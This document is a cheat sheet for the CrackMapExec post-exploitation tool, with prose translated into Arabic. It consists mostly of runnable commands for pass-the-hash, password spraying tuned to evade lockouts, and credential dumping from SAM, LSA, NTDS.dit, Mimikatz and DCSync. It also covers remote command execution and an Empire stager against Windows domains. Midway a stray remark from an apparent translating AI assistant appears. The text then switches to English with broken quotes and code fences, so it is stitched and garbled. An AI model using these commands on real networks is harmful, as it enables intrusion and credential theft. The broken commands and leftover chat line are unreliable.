تخطَّ إلى المحتوى

دليل CrackMapExec المختصر

نظرة عامة

CrackMapExec (CME) هو أداة ما بعد الاختراق مصممة لاختبار الاختراق وعمليات الفريق الأحمر في بيئات Windows/Active Directory. غالبًا ما يتم وصفها بأنها “سكين الجيش السويسري” لاختبار الشبكات، مما يسمح بالحصر وفحص بيانات الاعتماد وتنفيذ الأوامر عبر بروتوكولات متعددة.

⚠️ تحذير: CrackMapExec هي أداة اختبار أمني يجب استخدامها فقط في البيئات التي لديك إذن صريح للقيام بذلك.

التثبيت

باستخدام pipx (موصى به)

# Install pipx if not already installed
python3 -m pip install --user pipx
python3 -m pipx ensurepath

# Install CrackMapExec
pipx install crackmapexec

على Kali Linux

sudo apt update
sudo apt install -y crackmapexec

من GitHub

git clone https://github.com/byt3bl33d3r/CrackMapExec
cd CrackMapExec
poetry install

باستخدام Docker

docker pull byt3bl33d3r/crackmapexec
docker run -it --entrypoint=/bin/bash byt3bl33d3r/crackmapexec

الاستخدام الأساسي

بناء الجملة العام

crackmapexec <protocol> <target(s)> -u <username> -p <password> [options]

البروتوكولات المدعومة

  • smb: Server Message Block
  • winrm: Windows Remote Management
  • ldap: Lightweight Directory Access Protocol
  • mssql: Microsoft SQL Server
  • ssh: Secure Shell
  • rdp: Remote Desktop Protocol
  • ftp: File Transfer Protocol

تحديد الهدف

# Single target
crackmapexec smb 192.168.1.100

# Multiple targets
crackmapexec smb 192.168.1.100,192.168.1.101

# IP range
crackmapexec smb 192.168.1.1-255

# CIDR notation
crackmapexec smb 192.168.1.0/24

# From file
crackmapexec smb targets.txt

طرق المصادقة

اسم المستخدم وكلمة المرور

# Single username and password
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123'

# Multiple usernames
crackmapexec smb 192.168.1.0/24 -u administrator,user1 -p 'Password123'

# Multiple passwords
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123','Welcome1'

# From files
crackmapexec smb 192.168.1.0/24 -u users.txt -p passwords.txt

Pass-the-Hash

# NTLM hash
crackmapexec smb 192.168.1.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0'

# Multiple hashes
crackmapexec smb 192.168.1.0/24 -u administrator -H 'hash1' 'hash2'

# From file
crackmapexec smb 192.168.1.0/24 -u administrator -H hashes.txt

المصادقة المحلية

crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --local-auth

مصادقة النطاق

crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -d DOMAIN

أوامر بروتوكول SMB

الحصر الأساسي

# List shares
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --shares

# List logged-on users
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --loggedon-users

# List domain users
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --users

# List domain groups
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --groups

# List local groups
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --local-groups

# Get domain password policy
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --pass-pol

# Check for SMB signing
crackmapexec smb 192.168.1.0/24 --gen-relay-list relay_targets.txt

تنفيذ الأوامر

I’ve translated the text while preserving the markdown formatting, keeping technical terms in English, and maintaining the structure. Would you like me to continue with the remaining sections?```bash

Execute command

crackmapexec smb 192.168.1.0/24 -u administrator -p ‘Password123’ -x ‘whoami’

Execute PowerShell command

crackmapexec smb 192.168.1.0/24 -u administrator -p ‘Password123’ -X ‘$PSVersionTable’


### File Operations
```bash
# List files in share
crackmapexec smb 192.168.1.100 -u administrator -p 'Password123' --spider C$ --pattern '*.txt'

# Download file
crackmapexec smb 192.168.1.100 -u administrator -p 'Password123' --get-file 'C:\temp\file.txt' /tmp/file.txt

# Upload file
crackmapexec smb 192.168.1.100 -u administrator -p 'Password123' --put-file /tmp/file.txt 'C:\temp\file.txt'

WinRM Protocol Commands

Basic Enumeration

# Check WinRM access
crackmapexec winrm 192.168.1.0/24 -u administrator -p 'Password123'

Command Execution

# Execute command
crackmapexec winrm 192.168.1.0/24 -u administrator -p 'Password123' -x 'whoami'

# Execute PowerShell command
crackmapexec winrm 192.168.1.0/24 -u administrator -p 'Password123' -X '$PSVersionTable'

LDAP Protocol Commands

Basic Enumeration

# Get domain information
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --domain

# List domain users
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --users

# List domain groups
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --groups

# List domain computers
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --computers

# Get domain password policy
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --pass-pol

# Get domain trusts
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --trusts

Advanced Enumeration

# Search for specific attributes
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' -M maq -o ATTRIBUTES=description

# Search for unconstrained delegation
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --trusted-for-delegation

# Search for constrained delegation
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --allowed-to-delegate

# Search for ASREP roastable users
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --asreproast output.txt

# Search for kerberoastable users
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --kerberoasting output.txt

MSSQL Protocol Commands

Basic Enumeration

# Check MSSQL access
crackmapexec mssql 192.168.1.0/24 -u sa -p 'Password123'

# List databases
crackmapexec mssql 192.168.1.0/24 -u sa -p 'Password123' -q 'SELECT name FROM master.dbo.sysdatabases'

Command Execution

# Execute command
crackmapexec mssql 192.168.1.0/24 -u sa -p 'Password123' -x 'whoami'

# Execute query
crackmapexec mssql 192.168.1.0/24 -u sa -p 'Password123' -q 'SELECT @@version'

Module Usage

Module Management

# List available modules
crackmapexec <protocol> --list-modules

# Get module options
crackmapexec <protocol> -M <module> --options

# Use module
crackmapexec <protocol> <target> -u <username> -p <password> -M <module> -o OPTION1=value1 OPTION2=value2

Common Modules

Mimikatz

# Dump credentials
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M mimikatz -o COMMAND='sekurlsa::logonpasswords'

# Get LSA secrets
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M mimikatz -o COMMAND='lsadump::secrets'

# Get SAM database
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M mimikatz -o COMMAND='lsadump::sam'

# Get DCSync
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M mimikatz -o COMMAND='lsadump::dcsync /domain:domain.local /user:krbtgt'

Empire

# Generate Empire stager
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M empire_exec -o LISTENER=http

PowerView

# Run PowerView commands
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M powerview -o COMMAND='Get-NetDomain'

BloodHound

# Collect BloodHound data
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M bloodhound -o COLLECTION=All

Lsassy

# Dump credentials using lsassy
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M lsassy

Enum_DNS

# Enumerate DNS records
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M enum_dns

GOAD

# Get objects and attributes from domain
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' -M goad

Advanced Techniques

Password Spraying

# Spray single password against multiple users
crackmapexec smb 192.168.1.0/24 -u users.txt -p 'Spring2023!'

# Spray multiple passwords against single user
crackmapexec smb 192.168.1.0/24 -u administrator -p passwords.txt

# Spray with jitter to avoid lockouts
crackmapexec smb 192.168.1.0/24 -u users.txt -p 'Spring2023!' --continue-on-success --fail-limit 1 --jitter 10

Credential Harvesting

# Dump SAM database
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --sam

# Dump LSA secrets
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --lsa

# Dump NTDS.dit
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --ntds

Database Operations

Initialize Database

crackmapexec smb 192.168.1.0/24 --database

View Database

# List hosts
crackmapexec smb --database -L

# List credentials
crackmapexec smb --database -C

# Use credentials from database
crackmapexec smb 192.168.1.0/24 --database -id 1

Common Options

خياروصف
-h, --helpعرض رسالة المساعدة والخروج
-t THREADSحدد عدد الخيوط المتزامنة (الافتراضي: 100)
--timeout TIMEOUTضبط المهلة الزمنية للاتصالات (الافتراضي: 5 ثوانٍ)
--verboseتمكين المخرجات التفصيلية
--debugتمكين المخرجات التصحيحية
--continue-on-successاستمر في محاولات المصادقة حتى بعد النجاح
--no-bruteforceلا تستخدم الهجمات القسرية، استخدم فقط بيانات الاعتماد المقدمة
--fail-limit LIMITعدد محاولات تسجيل الدخول الفاشلة قبل التوقف عن محاولة الاتصال بالمضيف
--jitter JITTERأضف تأخير عشوائي بين محاولات المصادقة (بالثواني)
--local-authالمصادقة باستخدام الحسابات المحلية بدلاً من النطاق
-d, --domain DOMAINالمجال للمصادقة عليه
--no-outputلا تعرض المخرجات
--output-file FILEاكتب المخرجات إلى ملف
--logقم بتمكين التسجيل في الملف (الإعداد الافتراضي: ~/.cme/logs/)
خياروصف
--sharesقائمة الأسهم المتاحة
--sessionsقائمة الجلسات النشطة
--disksقائمة الأقراص
--loggedon-usersقائمة المستخدمين المسجلين الدخول
--usersقائمة مستخدمي النطاق
--groupsقائمة مجموعات النطاق
--local-groupsقائمة المجموعات المحلية
--pass-polاحصل على سياسة كلمة المرور
--rid-brute [MAX_RID]قم بتعداد المستخدمين عن طريق اختبار RID بالقوة
--samقم بإفراغ تجزئة SAM
--lsaقم بإفراغ أسرار LSA
--ntdsقم بإلقاء NTDS.dit
--exec-method \\{smbexec,wmiexec,mmcexec,atexec\\}طريقة لتنفيذ الأوامر
خياروصف
--usersقائمة مستخدمي النطاق
--groupsقائمة مجموعات النطاق
--computersقائمة أجهزة الحاسوب في النطاق
--domainاحصل على معلومات النطاق
--pass-polاحصل على سياسة كلمة المرور
--trustsاحصل على ثقة النطاق
--asreproast [OUTFILE]احصل على المستخدمين القابلين للـ AS-REP roast
--kerberoasting [OUTFILE]احصل على المستخدمين القابلين للـ Kerberoast
--trusted-for-delegationاحصل على المستخدمين/الأجهزة مع التفويض غير المقيد
--allowed-to-delegateاحصل على المستخدمين/الأجهزة مع التفويض المقيد
خياروصف
--port [PORT]منفذ WinRM (الافتراضي: 5985)
--sslاستخدم SSL لـ WinRM
خياروصف
--port [PORT]منفذ MSSQL (الافتراضي: 1433)
-q QUERYنفذ استعلام SQL
https://github.com/byt3bl33d3r/CrackMapExec- [المستودع الرسمي على GitHub](
https://github.com/byt3bl33d3r/CrackMapExec/wiki- [ويكي CrackMapExec](
https://github.com/byt3bl33d3r/CrackMapExec/wiki/Installation- [دليل تثبيت CrackMapExec](
https://github.com/byt3bl33d3r/CrackMapExec/wiki/Module-Documentation- [توثيق وحدات CrackMapExec](